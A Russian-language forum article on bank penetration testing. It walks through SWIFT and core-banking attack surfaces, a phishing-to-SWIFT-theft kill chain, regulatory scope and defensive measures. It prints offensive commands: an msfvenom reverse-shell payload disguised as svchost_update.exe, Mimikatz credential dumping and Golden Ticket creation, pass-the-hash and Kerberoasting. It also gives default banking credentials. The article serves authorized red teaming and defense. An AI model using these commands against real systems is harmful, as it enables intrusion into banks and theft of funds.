ANTICHAT - Пентест банка: векторы атак и техники проникновения в финансовую инфраструктуру

https://forum.antichat.xyz/attachmen...ac8fe09704.png

Когда говорят про пентест банка, большинство русскоязычных материалов сводится к перечислению положений ЦБ и номеров ГОСТов. Регуляторика - штука нужная, но она не отвечает на главный вопрос: как именно атакующий проходит от фишингового письма до несанкционированного SWIFT-перевода? Я разберу конкретные векторы атак на банковскую систему, покажу kill chain на реальных (пусть и анонимизированных) примерах из red team операций и дам пошаговую методику, которую можно адаптировать под свой проект.

Мой опыт - внешние и внутренние пентесты кредитных организаций: атаки на АБС (Diasoft, ЦФТ), процессинговые системы, SWIFT-инфраструктуру и системы ДБО. Каждый вектор ниже подкреплён сценарием из реального проекта.
Почему тестирование на проникновение банка - это не типовой пентест
Банковская инфраструктура принципиально отличается от корпоративной сети IT-компании или ритейлера. Вот что нужно держать в голове при планировании red team операций в финансовом секторе:

Сегментированная архитектура. Банк - не одна плоская сеть. Промышленный контур (АБС, процессинг, SWIFT), DMZ с ДБО и интернет-банком, офисная сеть с АРМ сотрудников, отдельные сегменты для банкоматов и POS-терминалов (тестирование ATM/POS - отдельная обширная тема, здесь не рассматривается). Пентестеру нужно понимать топологию и знать, где проходят границы между зонами.

Критичность простоя. Если сканер уронит core banking систему в рабочие часы - это не «упс», а остановка платежей. Каждое действие согласовывается, окна для активных проверок жёстко регламентированы. На одном проекте нам выделили ровно 4 часа ночью - и ни минутой больше.

Регуляторные рамки. Положение Банка России № 821-П от 17.10.2023 (вступило в силу 01.04.2024, заменило 672-П) обязывает кредитные организации проводить тестирование на проникновение и анализ уязвимостей. ГОСТ Р 57580.1-2017 конкретизирует требование на этапах ввода в эксплуатацию (ЖЦ.14) и сопровождения (ЖЦ.20) автоматизированных систем. А методические рекомендации 2-МР, опубликованные Банком России в январе 2025 года, впервые очертили область пентеста - системы дистанционного обслуживания клиентов и связанные с ними компоненты.

Высокомотивированные атакующие. Финансовый сектор атакуют не скрипт-кидди, а APT-группировки с бюджетами и терпением. SWIFT публикует детальные бюллетени безопасности каждый раз, когда выявляет новый паттерн атак на своих клиентов - и эти бюллетени стоит читать.
Поверхность атаки банковской инфраструктуры
Прежде чем бросаться сканировать порты - карта. Что атаковать в типичном банке? Несколько критичных зон.
АБС и core banking system
Автоматизированная банковская система - сердце любой кредитной организации. На российском рынке чаще всего встречаются Diasoft, ЦФТ (Центр финансовых технологий) и самописные решения. Core banking system уязвимости обычно связаны не с публичными CVE, а с кастомными доработками: хранимые процедуры в Oracle/MS SQL без параметризации, сервисные учётки с паролями по умолчанию, API между модулями без аутентификации.

На одном проекте мы обнаружили, что интеграционная шина между АБС и процессингом передавала данные о транзакциях через REST API вообще без авторизации - достаточно попасть в нужный VLAN. Прямой путь к манипуляции транзакциями - Transmitted Data Manipulation (T1565.002, Impact) по MITRE ATT&CK. Просто красота (для атакующего, конечно).
Системы ДБО и мобильный банкинг
Интернет-банк, мобильные приложения и API для партнёрских интеграций - самая доступная точка входа. По опыту, тут три классических проблемы:

IDOR (Insecure Direct Object References) - как отмечает Redscan в руководстве по пентесту финсектора, IDOR-уязвимости в финансовых приложениях активно эксплуатируются. Авторизуешься в мобильном банке, подставляешь чужой ID в запросе - и читаешь чужие данные.
Недовалидированные JWT. В одном проекте токен мобильного банка содержал ID клиента в payload, но signature не проверялась на бэкенде. Подмена ID в JWT давала доступ к выпискам и операциям любого клиента. Классика жанра.
Слабая логика OTP. Нет rate-limiting на проверку одноразовых паролей, предсказуемая генерация, OTP не привязан к конкретной операции.

SWIFT-инфраструктура
SWIFT (Society for Worldwide Interbank Financial Telecommunication) - глобальная система финансовых сообщений, и её компрометация означает прямое хищение средств. Архитектура SWIFT на стороне пользователя включает несколько ключевых компонентов:

Secure Zone - сегментированная защищённая зона, где размещена SWIFT-инфраструктура.
Messaging Interface - ПО для работы с форматами MT, MX, ISO 20022 через SwiftNet.
Communication Interface - связующее звено между SwiftNet и локальными системами.
Swift HSM (Hardware Security Modules) - хранилище токенов, смарт-карт и криптоматериала.
Operator PCs - рабочие станции операторов, взаимодействующих со SWIFT-системами.

Пять эталонных архитектур (A1–A4 и B) различаются распределением компонентов между пользователем и провайдером:

A1 - пользователь владеет и communication, и messaging interface локально - максимальная поверхность атаки.
A2 - communication interface локально, messaging interface у провайдера - поверхность сокращена, но communication interface остаётся в scope.
A3 - подключение через коннектор провайдера (Alliance Lite2), локальных SWIFT-серверов нет, но Operator PC и интеграция с бэк-офисом по-прежнему в scope.
A4 - всё на стороне сервис-бюро; scope сужается до Operator PC, каналов связи с сервис-бюро и бэк-офисной интеграции.
B - локальная SWIFT-инфраструктура отсутствует полностью (использование SWIFT через корреспондента).

Выбор архитектуры напрямую определяет scope пентеста SWIFT-зоны. И это первое, что нужно выяснить на пресейле.

Из известных инцидентов: атака на Bangladesh Bank в феврале 2016 года - через компрометацию SWIFT Alliance Access отправили мошеннические MT103-сообщения на $951M, из которых $81M успешно вывели. Ранее, в 2015-м, атаковали эквадорский Banco del Austro (потери $12,2M) и вьетнамский Tien Phong Commercial Bank.
Векторы начального доступа при атаках на финансовый сектор
Три основных вектора, через которые атакующие (и пентестеры при имитации) попадают внутрь банковской инфраструктуры.
Spearphishing Attachment (T1566.001, Initial Access)
Целевой фишинг с вредоносным вложением - вектор номер один для атак на финансовый сектор. APT-группировки, атакующие банки, не рассылают массовый спам - они готовят письма под конкретных людей: бухгалтеров, специалистов казначейства, операторов SWIFT.

На практике при red team операции это выглядит так:

Код:

Код:

# Генерация payload с помощью msfvenom для начального доступа

msfvenom -p windows/x64/meterpreter/reverse_https \

  LHOST= LPORT=443 \

  -f exe -o svchost_update.exe



# Примечание: имя выходного файла выбрано произвольно.

# Не путать с легитимным Update.exe (Squirrel), который

# классифицирован в LOLBAS для T1070, T1218, T1547.



# Упаковка в документ с макросом (пример для демонстрации концепции)

# В реальном red team используются кастомные загрузчики: shellcode loaders

# с direct syscalls (например, SysWhispers3), unhooking ntdll.dll, шифрование

# payload в памяти. Голый msfvenom .exe будет детектирован любым современным EDR.

Письмо маскируется под запрос от ЦБ, «акт сверки» от контрагента или уведомление от платёжной системы. Ключевой момент - предварительная разведка через LinkedIn и открытые источники. Лично я трачу на OSINT перед фишинговой кампанией больше времени, чем на подготовку самого payload.
Exploit Public-Facing Application (T1190, Initial Access)
Банки выставляют в интернет десятки сервисов: интернет-банк, API мобильного приложения, порталы для агентов и партнёров, VPN-шлюзы, почтовые серверы. Каждый из них - потенциальная точка входа.

При внешнем пентесте банка стандартный подход:

Bash:

Код:

# Обнаружение поверхности атаки

subfinder -d target-bank.ru -o subdomains.txt

httpx -l subdomains.txt -o alive.txt -status-code -title

# Сканирование веб-приложений

nuclei -l alive.txt -t cves/ -t exposures/ -o vulns.txt

# Целевое тестирование API мобильного банка через Burp Suite

# Перехват трафика мобильного приложения, анализ эндпоинтов

# Проверка: IDOR, broken authentication, JWT manipulation

Особое внимание - VPN-шлюзам и порталам удалённого доступа. По данным Redscan, VPN-мисконфигурации и некорректные политики доступа часто становятся точкой входа при удалённой работе. На практике это подтверждается: забытый тестовый VPN-профиль с full tunnel и split DNS - находка, которая встречается чаще, чем хотелось бы.
Valid Accounts (T1078, Initial Access / Persistence / Privilege Escalation)
Использование легитимных учётных записей - вектор, который особенно опасен в контексте безопасности платёжных систем. Атакующие получают валидные креды через:

Утечки баз данных (credential stuffing против корпоративных порталов)
Компрометацию подрядчиков (supply chain) - интегратор с VPN-доступом к банку
Социальную инженерию (вишинг, фишинг учётных данных)

На одном проекте мы обнаружили, что подрядчик по сопровождению АБС имел постоянный VPN-доступ с учёткой, пароль которой не менялся больше двух лет. Через этот канал мы попали сразу во внутреннюю сеть, минуя весь периметр. Зачем ломать стену, если дверь открыта?
Kill chain: от фишинга до вывода средств
Собираем полную цепочку атаки - от первого шага до конечной цели. Именно такой сценарий финансовый red team отрабатывает при полноценном тестировании.
Этап 1: закрепление и разведка внутренней сети
После получения initial access атакующий проводит внутреннюю разведку. В банковской AD (Active Directory) - сотни или тысячи объектов. Задача - найти путь до Secure Zone, где живут SWIFT-серверы и АБС.

Код:

Код:

# Сбор информации об AD с помощью BloodHound/SharpHound

# (запуск с компрометированной рабочей станции)

.\SharpHound.exe -c All --outputdirectory C:\temp



# Результат загружается в BloodHound для визуализации путей

# атаки до Domain Admin или до целевых серверов SWIFT/АБС

BloodHound покажет кратчайший путь от скомпрометированного пользователя до группы с доступом к серверам в Secure Zone. Обычно это 2–3 промежуточных хопа. Иногда - один. И вот тогда становится по-настоящему интересно.
Этап 2: Credential Access - дампинг учётных данных
Для продвижения по цепочке нужны креды привилегированных пользователей.

LSASS Memory (T1003.001, Credential Access). Классика - дамп памяти процесса LSASS для извлечения NTLM-хешей и тикетов Kerberos:

Код:

Код:

# Дамп LSASS через Mimikatz (пример для демонстрации концепции)

# В реальном red team используются обфусцированные варианты

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Pass the Hash (T1550.002, Lateral Movement / Defense Evasion). Полученные NTLM-хеши используются для аутентификации без знания пароля:

Bash:

Код:

# Pass the Hash через NetExec (ранее CrackMapExec)

nxc smb

10.10

.20.0/24 -u admin_abs -H



--shares

Golden Ticket (T1558.001, Credential Access). Если удалось стянуть хеш учётной записи krbtgt - атакующий генерирует произвольные Kerberos-тикеты. Применение тикета - это Pass the Ticket (T1550.003, Defense Evasion / Lateral Movement), что даёт доступ к ресурсам в пределах домена (для доступа к другим доменам леса нужен inter-realm trust key; эффективность зависит от PAC validation, Credential Guard и патча KB5008380):

Код:

Код:

# Создание Golden Ticket (пример для демонстрации концепции)

mimikatz.exe "kerberos::golden /user:Administrator /domain:bank.local /sid: /krbtgt: /ptt" "exit"

В банковской среде Golden Ticket особенно опасен: можно генерировать тикеты для любого пользователя, включая операторов SWIFT и администраторов АБС. Применение этих тикетов (T1550.003, Pass the Ticket) обеспечивает латеральное перемещение до Secure Zone.
Этап 3: перемещение в Secure Zone
Между офисной сетью и Secure Zone (где живёт SWIFT) стоит межсетевой экран с жёсткими правилами. В теории. На практике мы неоднократно находили:

Сервисные учётки для интеграции АБС с SWIFT, имеющие сетевой доступ в обе зоны
Jump-серверы с разрешёнными RDP-сессиями в Secure Zone
Middleware-серверы в data exchange layer - мост между зонами

Data exchange layer - транспортный слой между SWIFT-компонентами и бэк-офисными системами. Middleware-сервер в этом слое - идеальная цель для пивотинга. Компрометируешь его - и одной ногой уже в Secure Zone.
Этап 4: Financial Theft (T1657, Impact)
Конечная цель атакующего - Financial Theft (T1657, Impact). В контексте SWIFT это создание мошеннических платёжных сообщений (MT103 для клиентских переводов, MT202 для межбанковских). Атакующий, получивший доступ к Operator PC или messaging interface, может:

Создать или модифицировать платёжное сообщение
Обойти процедуры двойного контроля (если они реализованы только на уровне ПО)
Скрыть следы, манипулируя логами

Именно по такой схеме были проведены атаки на Banco del Austro и Bangladesh Bank.
Практика: пошаговая методика пентеста банка
Переходим к практике - как организовать и провести тестирование на проникновение банка по шагам.
Шаг 1: определение области и согласование
Согласно методическим рекомендациям 2-МР Банка России, перед началом тестирования нужно:

Актуализировать модель угроз (по методике ФСТЭК 2021 года)
Составить техническое задание с перечнем объектов
Подписать соглашение об ответственности
Подготовить план восстановления на случай инцидента

В область тестирования включаются: ДБО, мобильный банкинг, карточный процессинг, АБС, АРМ КБР-Н (для работы со SWIFT). Рекомендуется проводить и внешнее, и внутреннее тестирование, методами чёрного, серого и белого ящика.
Шаг 2: внешний пентест
Цель - имитация атакующего из интернета без внутреннего доступа.

ФазаДействияИнструментыРа зведкаOSINT, перечисление субдоменов, поиск утечекsubfinder, amass, theHarvesterСканированиеОбнаруж ение открытых портов и сервисовnmap, masscanАнализ веб-приложенийТестирование ДБО и API мобильного банкаBurp Suite Professional, nucleiЭксплуатацияАтаки на найденные уязвимостиsqlmap, Metasploit, кастомные эксплойтыПост-эксплуатацияЗакрепление, эскалация привилегийCobalt Strike, Sliver

Ключевые цели внешнего пентеста в банке:

Bash:

Код:

# 1. Обнаружение всех веб-приложений

nmap -sV -p

80,443

,8080,8443 --script http-title target-bank.ru

# 2. Тестирование API мобильного банка

# Перехват трафика через Burp Suite Proxy

# Проверка всех эндпоинтов на IDOR:

# GET /api/v1/accounts/{account_id}/statements

# Подмена account_id на чужой идентификатор

# 3. Проверка VPN-шлюзов

# Идентификация типа VPN, поиск известных уязвимостей

nmap -sV -p

443,500

,4500,10443 vpn.target-bank.ru

Шаг 3: внутренний пентест
Проводится с рабочего места обычного сотрудника (или через удалённый доступ с правами рядового пользователя). Тут начинается самое интересное для кибербезопасности банков.

Bash:

Код:

# Разведка внутренней сети

# Обнаружение контроллеров домена

nmap -p

389,636

,88,445

10.10

.0.0/16

# Перечисление пользователей и групп AD

nxc smb



-u



-p



--users

nxc smb



-u



-p



--groups

# Запуск BloodHound для маппинга путей атаки

.

\

SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:

\

temp

После загрузки данных в BloodHound ищем:

Пути от текущего пользователя до Domain Admins
Пути до серверов в Secure Zone (SWIFT, АБС)
Учётные записи с Kerberoastable SPN

Bash:

Код:

# Kerberoasting - извлечение TGS для офлайн-брутфорса

# Impacket v0.11+: при pip-установке (pip install impacket) используйте impacket-GetUserSPNs

# При запуске напрямую из каталога examples/ репозитория - python3 GetUserSPNs.py

impacket-GetUserSPNs bank.local/user:password -dc-ip



-request

# Полученные хеши ломаем через hashcat

hashcat -m

13100

kerberoast.txt wordlist.txt

Шаг 4: тестирование SWIFT-инфраструктуры
Отдельный и самый чувствительный этап. Swift Customer Security Controls Framework (CSCF) включает набор обязательных (mandatory) и рекомендательных (advisory) контролей безопасности, количество которых обновляется ежегодно, сгруппированных в несколько принципов.

При пентесте SWIFT-зоны проверяем:

Сегментация Secure Zone - действительно ли зона изолирована? Можно ли попасть из офисной сети?
Защита Operator PC - есть ли whitelisting приложений, доступ к интернету?
HSM-конфигурация - ключи в HSM или валяются на файловой системе?
Аудит и мониторинг - логируются ли операции, есть ли алерты на нетипичные транзакции?
Payment Controls - используются ли механизмы PCS (Payment Controls Service): обнаружение аномалий повторных платежей, мониторинг новых аккаунтов, поведенческий анализ транзакций?

Шаг 5: оформление отчёта
Отчёт по результатам пентеста банка должен соответствовать требованиям РС БР ИББС-2.6-2014 и включать:

Резюме для руководства (бизнес-риски простым языком - без hex-дампов, а то не дочитают)
Перечень уязвимостей с оценкой по CVSS
Перечень скомпрометированных ресурсов и учётных записей
Техническое описание атак с доказательствами
Рекомендации по устранению с приоритизацией

Если в ходе тестирования выявлены инциденты защиты информации, согласно рекомендациям 2-МР, о них следует сообщать в ЦБ и ФСТЭК с указанием источника выявления.
Сопоставление с фреймворком TIBER-EU
TIBER-EU тестирование (Threat Intelligence-Based Ethical Red Teaming) - европейский фреймворк для red team тестирования финансовых организаций. Три фазы:

Threat Intelligence - сбор разведданных о реальных угрозах для конкретного банка
Red Team Testing - имитация атаки на основе собранной разведки
Closure - совместный анализ результатов, purple teaming

В российской практике полный TIBER-EU пока не применяется, но подход к PCI DSS пентесту (Requirement 11.4 в PCI DSS v4.0, ранее 11.3 в v3.2.1) и банковскому пентесту по ГОСТ Р 57580 постепенно дополняется элементами threat intelligence - хотя формально это характерно для TIBER-EU и CBEST, а не для PCI DSS.
Типичные ошибки при атаках на банковское ПО
На основе десятков проектов - характерные слабые места, которые регулярно всплывают при атаках на банковское ПО:

КомпонентТипичная уязвимостьИмпактАБС (Diasoft, ЦФТ)Сервисные учётки с паролями по умолчаниюДоступ к core bankingДБО (интернет-банк)IDOR в API, отсутствие rate-limiting OTPДоступ к данным клиентовМобильный банкНет certificate pinning, слабая валидация JWTПерехват сессийADKerberoastable сервисные аккаунты, чрезмерные привилегииLateral movement до Secure ZoneSWIFT Operator PCНет whitelisting, есть доступ в интернетКомпрометация платёжных операцийИнтеграционная шинаAPI без аутентификации между модулямиМанипуляция транзакциями

Лично у меня самая частая находка - сервисные учётки АБС. Пароль

Код:

Diasoft123

или

Код:

admin/admin

на интеграционном API - это не выдумка, а суровая реальность 2024–2025 годов.
Рекомендации по защите финансовой инфраструктуры
Каждая рекомендация ниже следует из реальных сценариев, которые эксплуатировались при пентестах. Финансовая инфраструктура безопасность - не чеклист, а системная работа.

Сегментация и контроль трафика. Secure Zone со SWIFT-инфраструктурой должна быть физически или логически изолирована. Разрешённые потоки - только между конкретными хостами по конкретным портам. Никакого «any-any» между зонами. Звучит очевидно, но на практике «временное» правило any-any живёт годами.

Привилегированный доступ. Для сервисных учётных записей АБС и SWIFT - gMSA (Group Managed Service Accounts) с автоматической ротацией паролей. Для интерактивных привилегированных учёток - MFA обязательно, смена при подозрении на компрометацию. Если регуляторика требует периодической ротации (ГОСТ Р 57580) - следовать требованиям, дополняя компенсирующими мерами. PAM-система (Privileged Access Management) для всех подключений к серверам в критичных зонах.

Мониторинг и детекция. SIEM с правилами корреляции под банковскую специфику: аномальные SWIFT-транзакции, массовые неудачные аутентификации, запуск SharpHound/Mimikatz-подобных инструментов на хостах. Если алерт на Mimikatz не настроен - считайте, что его и нет.

SWIFT Payment Controls. Внедрение PCS-механизмов: обнаружение аномалий повторных платежей, мониторинг транзакций с новыми аккаунтами, поведенческий анализ на основе исторических паттернов. PCS работает независимо от внутренних систем банка и защищает даже при компрометации локальной инфраструктуры.

Регулярный пентест. Не формальный сканерный отчёт для галочки, а полноценное тестирование с имитацией реальных атак. Для зрелых организаций - полноценный banking pentest с элементами red team каждые 6 месяцев.
Итоги
Пентест банка - многоэтапный проект, требующий понимания банковской архитектуры, регуляторных требований и реальных тактик атакующих. Русскоязычный рынок перенасыщен статьями о нормативке, и нехватка практических материалов создаёт иллюзию, что пентест финсектора - это «сканирование плюс отчёт». На деле - полноценный kill chain: от OSINT и фишинга через AD-маппинг и кражу учётных данных до компрометации SWIFT-инфраструктуры и демонстрации возможности вывода средств.

Если готовитесь к своему первому банковскому пентесту - начните с изучения архитектур SWIFT (A1–A4), освойте BloodHound для маппинга AD и потренируйтесь на лабораторных стендах с эмуляцией банковской инфраструктуры. Поднимите тестовый AD, настройте Kerberoastable SPN, попробуйте пройти весь kill chain от фишинга до Golden Ticket. И помните: в финансовом секторе точность пентестера важнее скорости. Одно неосторожное действие - и остановлен процессинг целого банка.